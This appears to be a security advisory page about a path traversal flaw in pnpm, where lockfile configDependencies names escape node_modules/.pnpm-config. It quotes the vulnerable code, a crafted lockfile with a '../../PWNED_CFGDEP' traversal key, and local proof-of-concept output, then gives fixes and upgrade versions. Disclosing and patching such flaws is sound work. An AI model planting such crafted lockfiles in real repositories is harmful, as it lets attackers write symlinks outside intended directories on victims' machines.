pnpm Path Traversal in configDependencies Env Lockfile, CWE-22 (High) -DC-Jun2026-734

Listen to this Post

CVE Identifier

GHSA-qrv3-253h-g69c (No CVE ID assigned as of publication)

How the Mentioned CVE Works

pnpm accepts package names from the `configDependencies` section of the env lockfile and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config. A malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.
The vulnerable behavior occurs because `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components. The relevant pattern in the code is:

const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')
for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
const configDepPath = path.join(configModulesDir, pkgName)
const pkgDirInGlobalVirtualStore = path.join(
globalVirtualStoreDir,
relPath,
'node_modules',
pkgName
)
await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}

If `pkgName` is attacker-controlled and contains .., then `path.join(configModulesDir, pkgName)` can resolve outside node_modules/.pnpm-config.
In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:
– Expected root: `/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config`
– Actual path: `/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP`
This works with --ignore-scripts, so it does not rely on lifecycle script execution.
The malicious input is a `pnpm-lock.yaml` file with an env-lockfile `configDependencies` key containing traversal components:

importers:
.:
configDependencies:
legit-config-dep:
specifier: '1.0.0'
version: '1.0.0'
'../../PWNED_CFGDEP':
specifier: '1.0.0'
version: '1.0.0'

pnpm accepts the traversal-shaped name and reports it as installed: Installed config dependencies: ../../[email protected], [email protected].

DailyCVE Form

| Field | Value |

|-|-|

| Platform | pnpm (npm package manager) |

<

h2 style=”color: blue;”>| Version | >=11.0.0 <11.8.0; <10.34.4 |

| Vulnerability | Path Traversal (CWE-22) |

| Severity | High |

| Date | June 27, 2026 |

| Prediction | Patch expected: Fixed in 11.8.0 / 10.34.4 |

What Undercode Say: Analytics

Vulnerability Discovery Timeline

  • Advisory Published: June 27, 2026
  • Vulnerability Database Entry: VU135045 published June 23, 2026
  • Exploit Availability: No public exploit available

Affected Components

  • pnpm versions `>=11.0.0 <11.8.0` - pnpm versions `<10.34.4` - Fixed in versions 10.34.4 and 11.8.0

Attack Vector Analysis

| Vector | Detail |

|–|–|

| Vector | Remote access |

| User Interaction | Required – install malicious/compromised repository |

| Privileges Required | None |

| Impact | High integrity, Low availability |

CVSS Score

CVSS v4.0: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:U/U:Amber`

Exploit

Local Proof of Concept

The following PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.

Command used:

python3 ../pnpm_configdeps_path_traversal_poc.py \
--pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
--keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log

Observed output:

[+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry: http://127.0.0.1:36545/
[+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name: '../../PWNED_CFGDEP'
[+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/

pnpm output:

Installing config dependencies...
Installed config dependencies: ../../[email protected], [email protected]
Already up to date
Done in 906ms using pnpm v11.5.1

Traversal detection:

[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
[bash] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config
sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

Malicious Lockfile Structure

importers:
.:
configDependencies:
legit-config-dep:
specifier: '1.0.0'
version: '1.0.0'
'../../PWNED_CFGDEP':
specifier: '1.0.0'
version: '1.0.0'

Security Boundary Violation

  • Intended config dependency root: `/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config`
    – Actual path created: `/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP`
    This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.

Protection

Recommended Remediation

Validate every `configDependencies` key loaded from the env lockfile before using it as a package name or path component.

Recommended fixes:

  1. Reject invalid package names – Reject env-lockfile `configDependencies` names that are not valid npm package names
  2. Reject path traversal characters – Reject names containing absolute paths, `.` components, `..` components, backslashes, or platform-specific path separators
  3. Use containment-checked path joining – Resolve the final destination path, verify it remains inside node_modules/.pnpm-config, reject if it escapes
  4. Validate subdependencies – Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile
  5. Intersect with workspace config – Intersect env-lockfile `configDependencies` with the effective `pnpm-workspace.yaml` configDependencies before installing, so extra lockfile-only entries are rejected

Safe Destination Check

A safe destination check should enforce behavior equivalent to:

const dest = path.resolve(configModulesDir, pkgName)
if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {
throw new Error(<code>Invalid config dependency name: ${pkgName}</code>)
}

Name validation should happen before this check, not instead of it.

Upgrade Path

  • Upgrade to pnpm 10.34.4 or later
  • Upgrade to pnpm 11.8.0 or later

Impact

Primary Impact

A malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install. This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.

Why This Matters

The issue is especially relevant because:

  • The malicious input is committed in `pnpm-lock.yaml`
    – The issue is triggered during `pnpm install`
    – It works with `–ignore-scripts`
    – It occurs in the config dependency installation path, before ordinary dependency installation
  • The user only needs to install a malicious or compromised repository

Potential Consequences

| Impact Area | Description |

|-|-|

| Integrity | High – can overwrite/symlink files outside intended directory |
| Availability | Low – limited DoS potential |
| Confidentiality | None – no direct data leak |
| Attack Complexity | Low – simple crafted lockfile |
| User Interaction | Required – victim must install malicious repo |

Broader Context

This vulnerability is one of several path traversal issues discovered in pnpm. Related issues include:
– Binary fetcher path traversal (CVE-2026-23888) allowing malicious packages to write files outside extraction directory via ZIP entries with `../`
– Bin linking path traversal where bin names starting with `@` bypassed validation
– Symlink traversal in file:/git: dependencies where symlinks to absolute paths leak local data (CVE-2026-24056)

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top